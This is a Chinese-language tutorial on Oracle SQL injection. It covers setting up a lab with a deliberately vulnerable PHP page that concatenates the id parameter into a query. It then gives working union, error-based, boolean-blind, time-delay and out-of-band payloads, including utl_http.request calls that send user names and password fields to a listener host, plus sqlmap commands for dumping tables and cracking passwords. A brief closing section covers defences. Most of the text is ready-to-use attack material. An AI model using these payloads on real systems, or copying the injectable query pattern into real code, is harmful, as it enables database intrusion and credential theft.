Oracle注入

时间:2022-07-22
本文章向大家介绍Oracle注入,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

本文作者:cream(贝塔安全实验室-核心成员)

本文目录

一、Oracle环境安装

二、Phpstudy连接Oracle环境搭建

三、PHP代码操作Oracle数据库

四、联合注入实践

五、报错注入实践

六、布尔盲注实践

七、延时盲注实践

八、带外注入实践

九、SQLMAP针对ORACLE注入的利用

十、Oracle注入防御

十一、小结

参考文献和链接

一、Oracle环境安装

Windows环境

Step 1:准备oracle安装包,解压缩。本次安装的是Oracle Database 11g Release 2 (11.2),官方下载地址:

https://www.oracle.com/technetwork/cn/database/enterprise-edition/downloads/index.html

点击“step.exe”开始安装。

Step 2:取消安全更新,然后下一步--->选择仅安装数据库软件,然后下一步--->勾选单实例数据库安装,然后下一步--->语言选择英语和简体中文(默认就行),然后下一步--->选择企业版就行,下一步是设置目录,可以不修改(根据需求),然后开始自动检查安装环境--->后续的步骤只需要下一步安装就行[1]。

Step 3:设置监听服务。

开始-->所有程序-->Oracle-OraDb11g_home1-->配置和移植工具-->Net Configuration Assistant

选择“监听程序配置”,下一步,选择“添加”,下一步,默认监听名称,默认TCP,选择“使用标准端口号1521”,是否配置另一个监听程序,选择“否”,最后最后点击完成。

Step 4:创建实例。

开始-->所有程序-->Oracle-OraDb11g_home1-->配置和移植工具-->Database Configuration Assistant,下一步,选择“创建数据库”,下一步,选择“一般用途或事物处理”,下一步,需要命名数据库标识,在“全局数据库名”栏中输入一个名称即可,默认一下步,接着需要设置口令。此处作者选择“所有账户使用同一管理口令”并设置密码。默认下一步,在第9步设置中,“字符集”中选择“使用Unicode(AL32UTF8)”,国家字符集中选择“UTF-8-*”。后续的步骤只需要下一步即可。

Step 5:启动Oracle数据库

配置TNS

找到目录:C:appAdministratorproduct11.2.0dbhome_1NETWORKADMIN

编辑tnsnames.ora,将HOST=的值修改为本机IP

配置监听器

编辑listener.ora,其目录和tnsnaeme.ora在同一个目录中。

Step 6:重启Oracle服务。

运行-->services.msc-->OracleOraDb11g_home1TNSListener/OracleServiceORC

重启。

Step 7:登录并添加用户

运行-->运行--->sqlpuls sys/ICQsafe666@orcl as sysdba

注意:上面红色背景字体是密码部分

create user test inenttified by test;

注意:绿色背景部分是用户名,粉红色背景部分是密码

grant connect,resource,dba to test

可以使用 Navicat 连接Oracle数据库

Docker安装

linux机器中需要先安装docker,此处不再赘叙。

Step 1:拉取镜像并运行

docker pull registry.cn-hangzhou.aliyuncs.com/helowin/oracle_11g
docker run -d -p 1521:1521 --name oracle11g registry.cn-hangzhou.aliyuncs.com/helowin/oracle_11g

进入容器内部

docker start oracle11g
docker exec -it oracle11g bash

Step 2:配置Docker环境

编辑/etc/profile文件,文末添加如下内容,注意需要root账号操作

export ORACLE_HOME=/home/oracle/app/oracle/product/11.2.0/dbhome_2
export ORACLE_SID=helowin
export PATH=$ORACLE_HOME/bin:$PATH

然后创建链接:

ln -s $ORACLE_HOME/bin/sqlplus /usr/bin

Step 3:添加用户

切换到oracle用户

SQL> create user username identified by passowrd;
SQL> grant connect,resource,dba to username;

Step 4:配置oracle-instantclient

下载oracle客户端oracle-instantclient ,并安装。注意版本

下载地址:

http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html

下载的软件有:

  1. oracle-instantclient11.2-basic-11.2.0.4.0-1.x86_64.rpm
  2. oracle-instantclient11.2-devel-11.2.0.4.0-1.x86_64.rpm
rpm -hiv  oracle*.rpm

安装完之后,会自动生成目录:/usr/lib/oracle/11.2/client64/lib/

编辑文件/etc/ld.so.conf,添加如上的路径。

Step 5:配置oci8

下载http://pecl.php.net/package/oci8,如下载 oci-2.0.8.tgz

# tar -xvzf oci-2.0.8.tgz
# cd oci-2.0.8
#/www/server/php/56/bin/phpize (用phpize生成configure配置文件,千万注意:phpize、php-config、instantclient目录一定要找对,这个需要自己去找)
# ./configure --with-php-config=/www/server/php/56/bin/php-config --with-oci8=shared,instantclient,/usr/lib/oracle/11.2/client64/lib
# make && make install

安装之后找到oci的so扩展文件所在的位置:

/www/server/php/56/lib/php/extensions/******

配置php.ini,添加:extension=”oci8.so”

然后访问phpinfo.php,查看扩展是否安装成功[2]。

二、Phpstudy连接Oracle环境搭建

首先需要知道Phpstudy版本的以及PHP的位数,一般phpstudy2016是32位版,phpstudy2014是64位版本,phpstudy2018是32位,Phpstudy_pro是64位。

Step 1:编辑php.ini配置文件,添加扩展

extension=php_oci8_12c.dll

extension=php_pdo_oci.dll

5.6以下 应打开 extension=php_oci8_11g.dll

Step 2:重启Apache,查看phpinfo中是否有oci8,如果没有可能需要下载扩展,下载的时候一定要看清PHP版本(Architecture参数对应的数字x64还是x86)以及TS还是NTS!!!

扩展下载地址:

http://pecl.php.net/package/oci8

作者下载的版本是:2.0.6-5.5-ts-vc11-x86.zip,然后放在对应版本(5.5.38)的ext文件夹中C:phpStudyphpphp-5.5.38ext。

最后重启服务器,查看phpinfo

如果上述操作完成后还没出现oci8的扩展,可能需要安装oracle的客户端,下载地址为:

http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html

注意版本问题,下载后(instantclient-basic-windows.x64-12.2.0.1.0.zip)解压缩放在某个盘符下并配置环境变量,如C:instantclient_12_2。

三、PHP代码操作Oracle数据库

<?php
  header("Content-Type:text/html;charset=utf-8");
  $id = @$_GET['id'];
  //$conn = oci_connect('system','Aa123456');
  $dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) (INSTANCE_NAME = orcl)))"; //连接数据库的参数配置 
  $conn = oci_connect('test','test',$dbstr);//连接数据库,前两个参数分别是账号和密码
  if (!$conn)
  {
    $Error = oci_error();//错误信息
    print htmlentities($Error['message']);
    exit;
  }
  else
  {
    echo "<h3>Oracle 注入实验</h3>"."<br>";
    //ocilogoff($conn);
    $sql = "select * from demo where id=".$id;//sql语句
    $ora_test = oci_parse($conn,$sql);  //编译sql语句 
    oci_execute($ora_test,OCI_DEFAULT);  //执行 
    while($r=oci_fetch_row($ora_test))  //取回结果 
    { 
      $i=0;
      //echo $ora_test[0]; 
      echo "Id:".$r[$i++]."  </t> <br>";
      echo "Name:".$r[$i++]."  </t><br>  ";
      echo "Age:".$r[$i++]."  </t><br>  ";
    }
  }
  oci_close($conn);//关闭连接
?>

测试结果如下。

四、联合注入实践

获取元数据的方式

需要了解和掌握Oracle数据中不同表不同字段的特性以及用法

SELECT USERNAME from ALL_USERS;--查看所有用户--
select TABLESPACE_NAME FROM USER_TABLESPACES;--查看所有的表空间
select TABLE_NAME from USER_TABLES WHERE ROWNUM=1;--查看当前用户的所有表
select column_name from user_tab_columns where table_name='DEMO';--查看当前用户的所有的列,如查询DEMO表下的所有列
SELECT object_name from user_objects;--查看当前用户的所有对象(表名称,约束、索引)
信息获取
SELECT * from session_roles; --当前用户的权限
SELECT * from v$version WHERE rownum=1;--获取数据库版本
select * from product_component_version;--同上
SELECT member from v$logfile WHERE rownum=1;--服务器操作系统
select instance_name from v$instance;--服务器SID
SELECT sys_context('userenv','current_user') from dual;--当前连接用户[3]
当前用户:SELECT user FROM dual;
列出所有用户:SELECT username FROM all_users ORDER BY username;
列出数据库SELECT DISTINCT owner FROM all_tables;
列出表名:SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
查询表所有列:
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';
定位文件:SELECT name FROM V$DATAFILE;

联合注入步骤

Step 1:判断列数

http://192.168.1.6:81/orcl.php?id=1 order by 4--

Step 2:联合注入

http://192.168.1.6:81/orcl.php?id=-1 union select null,null,null,null from dual--

Step 3:判断每个字段的数据类型

http://192.168.1.6:81/orcl.php?id=-1 union select 1,2,null,null from dual--
http://192.168.1.6:81/orcl.php?id=-1 union select 1,’2’,null,null from dual--

Step 4:判断当前数据库的用户

http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select SYS_CONTEXT('USERENV','CURRENT_USER')  from dual),null,null from dual--

Step 5:获取当前数据库的版本

http://192.168.1.6:81/orcl.php?id=-3 union select null,(select banner from sys.v_$version where
rownum=1),null,null from dual

Step 6:爆破数据库名

http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select owner from all_tables where rownum=1),null,null from dual--
http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select owner from all_tables where rownum=1 and owner <>'SYS'),null,null from dual--
http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select owner from all_tables where rownum=1 and owner <>'SYS' and owner <>'OUTLN'),null,null from dual--

后续可以不断的去爆破,注意:表一定要大写

当前用户的表的获取

select table_name from user_tables where rownum=1

http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select table_name from user_tables where rownum=1),null,null from dual--

Step 7: 获取数据表DEMO,然后接着获取字段名

select column_name from user_tab_columns where table_name='ADMIN' and rownum=1

http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null,null from dual--

第二列:

http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select column_name from user_tab_columns where table_name='DEMO' and rownum=1 and column_name<>'ID' ),null,null from dual--

第三列:

http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select column_name from user_tab_columns where table_name='DEMO' and rownum=1 and column_name<>'ID' and column_name<>'NAME' ),null,null from dual--

~~~~~~~

最终获取的字段有:ID、NAME、AGE、SEX

Step 8 : 爆数据

http://192.168.1.6:81/orcl.php?id=-1 union select null, (select CONCAT(NAME, AGE) FROM DEMO where rownum=1 ),null,null from dual--

测试其他数据库:

http://192.168.1.6:81/orcl.php?id=-1 union select null, (SELECT CONCAT("name","password") FROM STU where rownum=1 ),null,null from dual--

五、报错注入实践

数据库类型

报错方式

例子

MSYQL

报错函数,如extractvalue、updatexml、floor等

http://192.168.2.101/sqli-labs-master/Less-5/?id=2' and extractvalue(1,concat(0x7e,(database()),0x7e))%23+

MSSQL

使用比较运算符,如[执行语句]>1、[报错语句]=1等

http://192.168.23.132/less-1.asp?id=1' and (select @@version)=1--

ORACLE

同上,但是需要借助于一个可以报错的函数,如utl_inaddr.get_host_name、ctxsys.drithsx.sn、XMLType等[4]

http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

报错注入步骤

Step 1:判断注入点

http://192.168.1.6:81/orcl.php?id=1 and (select count (*) from user_tables)>0 --

或者http://192.168.1.6:81/orcl.php?id=1 and (select count (*) from dual)>0

Step 2:显错函数

utl_inaddr.get_host_name( )//获取ip 地址,其参数如果解析不了会报错,显示传递的参数。如果其参数是一个SQL语句,那么报错就会把结果给显示出来。

http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

ctxsys.drithsx.sn():

http://192.168.1.6:81/orcl.php?id=1 and  1=ctxsys.drithsx.sn(1,(select user from dual))

该函数在查询关于主题的对应关键词时,会报错显示出第二个参数的结果

XMLType():

http://192.168.1.6:81/orcl.php?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

其他函数有:

dbms_xdb_version.checkin()
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
bms_xdb_version.makeversioned()
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
dbms_xdb_version.uncheckout()
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
dbms_utility.sqlid_to_sqlhash()
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
ordsys.ord_dicom.getmappingxpath()
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
decode()
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

注意:不会显示报错信息,需要通过页面来判断。当substr(user,1,1)=‘S’页面报错,其他情况页面无报错也不会显示数据。类似盲注。

decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值),

SELECT ID,NAME,AGE,decode(SEX,1,'男',0,'女') from DEMO;
http://192.168.1.6:81/orcl.php?id=1 and 1=(select decode(substr(user,1,1),'A',(1/0),0) from dual) --
http://192.168.1.6:81/orcl.php?id=1 and 1=(select decode(substr(user,1,1),'B',(1/0),0) from dual) --

上述测试结果为页面正常,不显示任何数据

http://192.168.1.6:81/orcl.php?id=1 and 1=(select decode(substr(user,1,1),'T',(1/0),0) from dual) --

显示如下的结果,说明当前用户的首字母是T,代码decode(substr(user,1,1),'T',(1/0),0)中

substr(user,1,1)='T'时,就返回(1/0)的值,但是0不能为分母,所以报错!

Step 2:爆数据库名

爆当前用户可以访问的表

select (select distinct owner from all_tables where rownum=1) from dual

其中distinct 是去重的意思,另外有几个表需要大家熟悉一下。user_tab_columns是保存了当前用户的表、视图等;all_tab_columns可以帮助我们查询用户下的所有的表和列;all_tables显示与当前用户可访问的表;user_tables显示当前用户拥有的表

http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual))--

可以爆出用户可以访问的数据表,SYS是第一个,后续的表可以一一爆出来。

爆当前用户下的表

select table_name from user_tables where rownum=1

http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

用户下的第一个表是DEMO

http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name <>'DEMO')) --

用户下的第二表是FLAG

接着第三个表示STU

注意:table_name <>'DEMO' 可以替换为table_name not in (‘DEMO’)

Step 3:爆指定表下列名

现在作者想爆FLAG表下的列

select column_name from user_tab_columns where table_name='DEMO' and rownum=1

http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1)) --

爆出FLAG表下第一个字段:id

http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name <>'id')) --

第二个字段是name

第三个字段是pwd

最后的字段是flag

http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name not in ('id','name','pwd','flag') )) --

Step 4:爆字段内容

http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select (SELECT CONCAT("name","pwd") FROM FLAG where rownum=1) from dual)) -- 

上图中是用户的账号和密码。可以使用其他的报错函数来测试。

六、布尔盲注实践

在Oracle布尔盲注实验中,可以是普通猜解的方法也可以使用某些函数来辅助猜解,如前面提到的decode函数,以及instr函数等。接下来我们测试普通猜解方法、decode方法和instr方法

普通猜解方法

Step 1:获取当前用户下的数据表长度以及每个字符

SELECT LENGTH(table_name) from user_tables where rownum=1

http://192.168.1.6:81/orcl.php?id=1 and 4=(SELECT LENGTH(table_name) from user_tables where rownum=1)--

页面正常显示,判断当前的用户下表长度为4

猜测数据库表的每个字符,使用字符截取函数substr和ascii函数

http://192.168.1.6:81/orcl.php?id=1 and 68=((select ascii(substr(table_name,1,1)) from user_tables WHERE rownum=1))--

只有页面正常显示才能推出每个字符的ASCII。当前数据表的首字母的ASCII是68,也即D,依次爆出的字母是E、M、O。所以数据表名为DEMO

Step 2:猜解DEMO表下的字段

先猜解该表第一个字段的长度

select LENGTH(column_name) from user_tab_columns where table_name='DEMO' and rownum=1

http://192.168.1.6:81/orcl.php?id=1 and 2=((select LENGTH(column_name) from user_tab_columns where table_name='DEMO' and rownum=1))--

调整绿色背景的数字,为2时页面显示正常,说明DEMO表的一个字段长度为2

接着猜解这个2字符

select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1

http://192.168.1.6:81/orcl.php?id=1 and 73=((select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1))--

只有页面显示正常,则说明第一个字符是I。这个过程也可以使用BusrpSuite去爆破

http://192.168.1.6:81/orcl.php?id=1 and 73=((select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1))--

浅紫色背景需要替换,前者范围[48,150],后者范围[1,2]。如下图所示,第一个字段是ID

http://192.168.1.6:81/orcl.php?id=1 and 73=((select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1 and column_name <>’ID’ ))--

同理可以获取第二个字段的长度是4,对应的ASCII是78、65、77、69,也即NAME。剩下的步骤就不在赘叙了,可以参考前面的步骤。

Step 3:上一步可以获取的字段有NAME和PWD,接下来获取字段内容

http://192.168.1.6:81/orcl.php?id=1 and 102=((select length(CONCAT(NAME, AGE)) FROM DEMO where rownum=1 ))--

说明当前NAME和AGE内容长度是102,注意创建的数据表有问题,实际上长度是11。读者可以忽略此问题。

http://192.168.1.6:81/orcl.php?id=1 and 122=((select ASCII(substr(CONCAT(NAME, AGE),1,1))FROM DEMO  where rownum=1 ))--

获取的(NAMEAGR)的第一个字符是z,依次获得hangshan20,也即名字是zhangshan,年龄是20

DECODE函数方式

Decode的使用方法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值)

意思是:当条件等于值1时就得到返回值1~~~~

Step 1:获取信息

当前用户名

判断长度:select decode(length(user),4,1,0) from dual

http://192.168.1.6:81/orcl.php?id=1 and  1=(select decode(length(user),4,1,0) from dual)--

页面显示正常,说明用户长度是4

获取每个字符:select decode(substr(user,1,1),'S',1,0) from dual

http://192.168.1.6:81/orcl.php?id=1 and  1=(select decode(substr(user,1,1),'T',1,0) from dual)--

页面正常显示,

接下来使用BP爆破获取用户名:

http://192.168.1.6:81/orcl.php?id=1 and 1=(select decode(substr(user,1,1),'T',1,0) from dual)--

黄色背景的地方需要替换。结果为TEST

Step 2:获取当前用户下的第一个表

长度判断:select decode(length(table_name),4,1,0) from user_tables where rownum=1

http://192.168.1.6:81/orcl.php?id=1 and  1=(select decode(length(table_name),4,1,0) from user_tables where rownum=1)--

页面实现正常,说明表名长度是4

字符猜解:select decode(ascii(substr(table_name,1,1)),117,1,0) from user_tables where rownum=1

http://192.168.1.6:81/orcl.php?id=1 and  1=(select decode(ascii(substr(table_name,1,1)),117,1,0) from user_tables where rownum=1)--

使用BP爆破,结果是DEMO

后面需要爆破DEMO表下字段以及字段对应内容,步骤和前面的很相似。

INSTR函数方法

函数instr的使用方法:instr(string1,string2),在string1中找到string2所在的位置,找到返回其索引。

SELECT INSTR('substr', 'str') from dual;

select instr((select user from dual),'TEST') from dual; --返回值是1 说明用户中有TEST字符串

select instr((select length(user) from dual),4) from dual;-- 返回值是1 说明用户的长度是4

select instr((select length(table_name) from user_tables where rownum=1),4) from dual; --返回值是1 说明当前用户的第一个表的名称长度是4

该如何判断名称每个字符呢?

select instr(substr((select table_name from user_tables where rownum=1),1,1),'D') from dual; --返回值是1 书名表名的第一个字符是D,后续可以通过BP去爆破。

http://192.168.1.6:81/orcl.php?id=1 and 1=(select instr(substr((select table_name from user_tables where rownum=1),1,1),'D') from dual)-- 蓝色背景部分需要替换

用户下第一个表是DEMO

http://192.168.1.6:81/orcl.php?id=1 and  1=(select instr(substr((select table_name from user_tables where rownum=1 and table_name <>'DEMO'),1,1),'F') from dual)--

用户下的第二个表的首个字符是F,后续步骤依然可以使用BP爆破。

七、延时盲注实践

在Oracle延时注入利用过程中需要使用DECODE、DBMS_PIPE.RECEIVE_MESSAGE等函数来延时数据库的处理时间,最后测试者可以通过网页的加载时间来判断注入结果。

DECODE函数的使用方法此处不再讨论。

DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5)表示从RDS管道返回的数据需要等待5秒,一般情况下可以以PUBLIC权限使用该函数。

测试:

http://192.168.1.6:81/orcl.php?id=1 and 1= dbms_pipe.receive_message('RDS', 5)-- 

可以看到页面网络加载时间是5S,可以看到注入效果。注意该函数的返回值是1

后续步骤需要使用DECODE函数。

DECODE(condition,value,dbms_pipe.receive_message('RDS', 5),0),意思是当condition=value就返回dbms_pipe.receive_message('RDS', 5),那么页面就等待5秒时间,从而达到延时注入的目的。

select decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0) from dual

http://192.168.1.6:81/orcl.php?id=1 and 1=(select decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0) from dual)--

可知用户名第一个字符是T,使用BP爆破,当前用户名为TEST

后续步骤参考前面的步骤即可。

另外,网友还使用其他方式延时注入,如select count(*) from all_objects,大量统计操作很耗时,可以辅助延时注入,但是延长时间不好控制。

八、带外注入实践

Oracle的带外注入和DNSLOG很相似,需要使用网络请求的函数进行注入利用,其中可以进行网络请求的函数有UTL_HTTP.REQUEST、UTL_INADDR.GET_HOST_ADDRESS、SYS.DBMS_LDAP.INIT等

Step 1:首先检测函数是否能用

http://192.168.1.6:81/orcl.php?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

网页加载正常,则说明该函数可以使用。其中还函数返回值是请求的返回值

使用方法:and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --,其中||放在URL需要URL编码。切记!!!

准备监听的主机和端口

发送请求(获取当前用户名):

http://192.168.1.6:81/orcl.php?id=1 and utl_http.request('http://192.168.1.2:6666/'%7c%7c(SELECT user FROM dual))=1--

收到数据情况:

获取Banner信息

http://192.168.1.6:81/orcl.php?id=1 and utl_http.request('http://192.168.1.2:6666/'%7c%7c(select banner from sys.v_$version where rownum=1))=1--

获取字段内容

http://192.168.1.6:81/orcl.php?id=1 and utl_http.request('http://192.168.1.2:6666/'%7c%7c(SELECT CONCAT("name","password") FROM STU where rownum=1))=1--

九、SQLMAP针对ORACLE注入的利用

基本使用方法,不用解释。

检测注入点:

python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle

查看所有数据库名:

python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle --dbs

查看当前用户的权限:

python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle --privileges
是否是管理员:--is-dba
所有用户 --users
当前用户--current-user
当前数据库 --current-db

获取当前数据库下表:

python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle -D TEST --tables

获取当前数据库下指定表下的字段名:

python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle -D TEST -T STU --columns

获取字段内容:

python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle -D TEST -T STU -C NAME,PASSWORD --dump

获取SQL执行环境:

python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle --sql-shell
破解当前用户密码 --passwords
获取系统信息--hostname
获取数据库信息--banner
获取数据库用户角色 --roles

--os-cmd和--os-shell执行出现了问题:[22:34:13] [CRITICAL] Operating system shell functionality not yet implemented for Oracle(解决中~~~~~)

十、Oracle注入防御

1、代码层防御技术

使用参数化查询语句、验证输入、规范化等技术,如JAVA中使用JDBC框架,C#使用ADO.NAT框架,PHP使用PDO架构等。Oracle PL/SQL 在数据库代码层也可以使用参数化方式去查询,它使用带有编号的冒号字符去绑定参数来达到防注入的目的[5][6]。

2、输入验证

任何输入的数据均是不可信的,可以对不可信数据进行验证,如使用黑白名单过滤等。在JAVA中可以使用定义一个输入验证类,实现javax.faces.validator.Validator接口,对用户输入进行验证。C#可以使用某些具有验证功能的控件对用户输入进行验证。PHP中可以使用正则表达式验证用户输入,或者使用特定功能函数判断输入是否合法。

3、输出编码

4、规范化

十一、小结

本文主要介绍了Oracle数据库的安装方法以及PHP连接问题。针对不同注入的注入技术进行全面详细的讲解,如联合注入、报错注入、布尔盲注、延时盲注以及带外注入等。这算是对Oracle注入的基本科普,如有错误之处,请予指正。后续将针对Oracle的安全性进行深入研究学习,如Oracle读写文件、提权、执行系统命令、反序列化漏洞等。

参考文献和链接

[1]https://blog.csdn.net/tangwei0928/article/details/91999527

[2]https://www.o2oxy.cn/2306.html

[3]张炳帅. Web安全深度剖析[J]. 中国信息化, 2019, 000(001):封3.

[4]https://www.cnblogs.com/-qing-/p/10949562.html

[5]克拉克(JustinClarke).SQL注入攻击与防御[M].北京:清华大学出版社,2013.

[6]张恒智. Oracle数据库的注入攻击和防御研究[D].上海交通大学,2012.